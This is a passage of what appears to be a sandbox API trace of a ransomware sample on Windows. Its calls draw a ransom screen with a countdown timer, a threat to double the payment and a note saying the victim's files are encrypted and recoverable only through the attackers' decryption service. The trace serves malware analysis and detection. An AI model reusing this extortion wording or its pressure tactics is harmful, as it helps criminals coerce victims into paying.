lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0177.509] GdipGetFamilyName (in: family=0x1b929a70, name=0x1acb50, language=0x409 | out: name="Times New Roman") returned 0x0 [0177.509] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0177.509] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0177.509] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x30a083b [0177.509] CoTaskMemFree (pv=0x1ac6eba0) [0177.509] GetObjectW (in: h=0x30a083b, c=92, pv=0x1acb60 | out: pv=0x1acb60) returned 92 [0177.509] SelectObject (hdc=0x690101c7, h=0x30a083b) returned 0x20a0837 [0177.509] GetMapMode (hdc=0x690101c7) returned 1 [0177.509] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acb70 | out: lptm=0x1acb70) returned 1 [0177.511] DrawTextExW (in: hdc=0x690101c7, lpchText="Psycho", cchText=6, lprc=0x1acd78, format=0x2400, lpdtp=0x29986c0 | out: lpchText="Psycho", lprc=0x1acd78) returned 15 [0178.282] GetCurrentThreadId () returned 0x950 [0178.282] GetCurrentThreadId () returned 0x950 [0178.282] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.282] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.282] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb50, language=0x409 | out: name="Consolas") returned 0x0 [0178.282] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0178.283] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.283] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x4e0a024e [0178.283] CoTaskMemFree (pv=0x1ac6eba0) [0178.283] GetObjectW (in: h=0x4e0a024e, c=92, pv=0x1acb60 | out: pv=0x1acb60) returned 92 [0178.283] SelectObject (hdc=0x690101c7, h=0x4e0a024e) returned 0x30a083b [0178.283] GetMapMode (hdc=0x690101c7) returned 1 [0178.283] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acb70 | out: lptm=0x1acb70) returned 1 [0178.283] DrawTextExW (in: hdc=0x690101c7, lpchText=":", cchText=1, lprc=0x1acd78, format=0x2400, lpdtp=0x2998a50 | out: lpchText=":", lprc=0x1acd78) returned 37 [0178.285] GetCurrentThreadId () returned 0x950 [0178.285] GetCurrentThreadId () returned 0x950 [0178.285] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.285] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.286] DrawTextExW (in: hdc=0x690101c7, lpchText=":", cchText=1, lprc=0x1acd78, format=0x2400, lpdtp=0x2998bd8 | out: lpchText=":", lprc=0x1acd78) returned 37 [0178.286] GetCurrentThreadId () returned 0x950 [0178.286] GetCurrentThreadId () returned 0x950 [0178.286] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.286] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.286] DrawTextExW (in: hdc=0x690101c7, lpchText="00", cchText=2, lprc=0x1acd78, format=0x2400, lpdtp=0x2998db8 | out: lpchText="00", lprc=0x1acd78) returned 37 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.288] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.288] DrawTextExW (in: hdc=0x690101c7, lpchText=":", cchText=1, lprc=0x1acd78, format=0x2400, lpdtp=0x2998f40 | out: lpchText=":", lprc=0x1acd78) returned 37 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.288] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.288] DrawTextExW (in: hdc=0x690101c7, lpchText="00", cchText=2, lprc=0x1acd78, format=0x2400, lpdtp=0x29990c8 | out: lpchText="00", lprc=0x1acd78) returned 37 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetCurrentThreadId () returned 0x950 [0178.288] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.288] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.288] DrawTextExW (in: hdc=0x690101c7, lpchText="00", cchText=2, lprc=0x1acd78, format=0x2400, lpdtp=0x2999250 | out: lpchText="00", lprc=0x1acd78) returned 37 [0178.289] GetCurrentThreadId () returned 0x950 [0178.289] GetCurrentThreadId () returned 0x950 [0178.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.289] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.289] DrawTextExW (in: hdc=0x690101c7, lpchText="00", cchText=2, lprc=0x1acd78, format=0x2400, lpdtp=0x2999470 | out: lpchText="00", lprc=0x1acd78) returned 37 [0178.289] GetCurrentThreadId () returned 0x950 [0178.289] GetCurrentThreadId () returned 0x950 [0178.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.289] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.289] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb50, language=0x409 | out: name="Consolas") returned 0x0 [0178.289] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0178.289] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.289] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x430a024f [0178.289] CoTaskMemFree (pv=0x1ac6eba0) [0178.289] GetObjectW (in: h=0x430a024f, c=92, pv=0x1acb60 | out: pv=0x1acb60) returned 92 [0178.289] SelectObject (hdc=0x690101c7, h=0x430a024f) returned 0x4e0a024e [0178.289] GetMapMode (hdc=0x690101c7) returned 1 [0178.289] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acb70 | out: lptm=0x1acb70) returned 1 [0178.290] DrawTextExW (in: hdc=0x690101c7, lpchText="Time Left ( Payment Will be raised to 2x )", cchText=42, lprc=0x1acd78, format=0x2400, lpdtp=0x2999800 | out: lpchText="Time Left ( Payment Will be raised to 2x )", lprc=0x1acd78) returned 18 [0178.298] GetCurrentThreadId () returned 0x950 [0178.298] GetCurrentThreadId () returned 0x950 [0178.299] GetCurrentThreadId () returned 0x950 [0178.299] GetCurrentThreadId () returned 0x950 [0178.299] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.299] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0178.300] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb50, language=0x409 | out: name="Consolas") returned 0x0 [0178.300] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0178.300] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.300] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x190a0241 [0178.300] CoTaskMemFree (pv=0x1ac6eba0) [0178.300] GetObjectW (in: h=0x190a0241, c=92, pv=0x1acb60 | out: pv=0x1acb60) returned 92 [0178.300] SelectObject (hdc=0x690101c7, h=0x190a0241) returned 0x430a024f [0178.300] GetMapMode (hdc=0x690101c7) returned 1 [0178.300] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acb70 | out: lptm=0x1acb70) returned 1 [0178.301] DrawTextExW (in: hdc=0x690101c7, lpchText="Your important files are encrypted.\r\nMany of your documents,photo,video,database,project\r\nand other files are no longer accessible because they have\r\nbeen encrypted. maybe you are busy looking for a way to \r\nrecover your files, but do not waste your time. nobody can\r\nrecover your files without our decryption service.", cchText=319, lprc=0x1acd78, format=0x2400, lpdtp=0x2999c18 | out: lpchText="Your important files are encrypted.\r\nMany of your documents,photo,video,database,project\r\nand other files are no longer accessible because they have\r\nbeen encrypted. maybe you are busy looking for a way to \r\nrecover your files, but do not waste your time. nobody can\r\nrecover your files without our decryption service.", lprc=0x1acd78) returned 78 [0178.616] GetCurrentThreadId () returned 0x950 [0178.616] GetCurrentThreadId () returned 0x950 [0178.616] GetCurrentThreadId () returned 0x950 [0178.616] GetCurrentThreadId () returned 0x950 [0178.617] GetCurrentThreadId () returned 0x950 [0178.617] GetCurrentThreadId () returned 0x950 [0178.617] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0178.617] GdipCreateFont (fontFamily=0x1b37c5e0, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x2999fa0) returned 0x0 [0178.617] GdipGetFontSize (font=0x1cbe5200, size=0x2999fa8) returned 0x0 [0178.619] CreateCompatibleDC (hdc=0x0) returned 0x1001025d [0178.622] GetDC (hWnd=0x0) returned 0xd01027c [0178.622] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acd98) returned 0x0 [0178.622] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.622] GdipGetLogFontW (font=0x1cbe5200, graphics=0x1cc25910, logfontW=0x1ac6eba0) returned 0x0 [0178.629] CoTaskMemFree (pv=0x1ac6eba0) [0178.629] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.629] CoTaskMemFree (pv=0x1ac6eba0) [0178.629] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.629] CoTaskMemFree (pv=0x1ac6eba0) [0178.630] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0178.630] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0178.630] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.630] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x710a0272 [0178.630] CoTaskMemFree (pv=0x1ac6eba0) [0178.631] SelectObject (hdc=0x1001025d, h=0x710a0272) returned 0x18a002e [0178.632] GetTextMetricsW (in: hdc=0x1001025d, lptm=0x1acfd8 | out: lptm=0x1acfd8) returned 1 [0178.632] GetTextExtentPoint32W (in: hdc=0x1001025d, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x299b5c0 | out: psizl=0x299b5c0) returned 1 [0178.632] SelectObject (hdc=0x1001025d, h=0x18a002e) returned 0x710a0272 [0178.633] DeleteDC (hdc=0x1001025d) returned 1 [0178.633] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.633] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.634] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.634] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.634] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.636] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.637] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.637] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.637] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.637] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.637] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.638] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.638] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.638] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.638] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.638] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.639] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.639] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.639] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.639] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.639] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.640] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.640] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.640] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.640] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.641] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.641] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.641] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.641] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.642] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.642] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.642] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.642] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.642] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.643] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.643] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.643] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.643] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.643] GdipGetFamilyName (in: family=0x1b37c5e0, name=0x1ac930, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0178.643] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0178.643] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0178.643] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x110a025d [0178.643] CoTaskMemFree (pv=0x1ac6eba0) [0178.643] GetObjectW (in: h=0x110a025d, c=92, pv=0x1ac940 | out: pv=0x1ac940) returned 92 [0178.643] SelectObject (hdc=0x690101c7, h=0x110a025d) returned 0x190a0241 [0178.643] GetTextExtentPoint32W (in: hdc=0x690101c7, lpString="0", c=1, psizl=0x299c280 | out: psizl=0x299c280) returned 1 [0178.644] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.644] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.644] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.644] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.644] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.644] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.645] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.645] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.645] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.645] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.645] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.646] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.646] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.646] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.646] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.646] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.646] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.646] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.646] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.647] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.647] GetSystemMetrics (nIndex=5) returned 1 [0178.647] GetSystemMetrics (nIndex=6) returned 1 [0178.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.647] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.647] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.647] GetSystemMetrics (nIndex=5) returned 1 [0178.647] GetSystemMetrics (nIndex=6) returned 1 [0178.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.647] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.648] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.648] GetSystemMetrics (nIndex=5) returned 1 [0178.648] GetSystemMetrics (nIndex=6) returned 1 [0178.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.648] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.648] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.648] AdjustWindowRectEx (in: lpRect=0x1acab8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acab8) returned 1 [0178.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.648] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.649] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.649] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.649] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.649] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.649] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.649] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.649] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.649] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.650] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.650] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.650] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.650] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.650] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.651] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.651] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.651] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.651] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.652] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.652] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.652] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.652] GetModuleHandleW 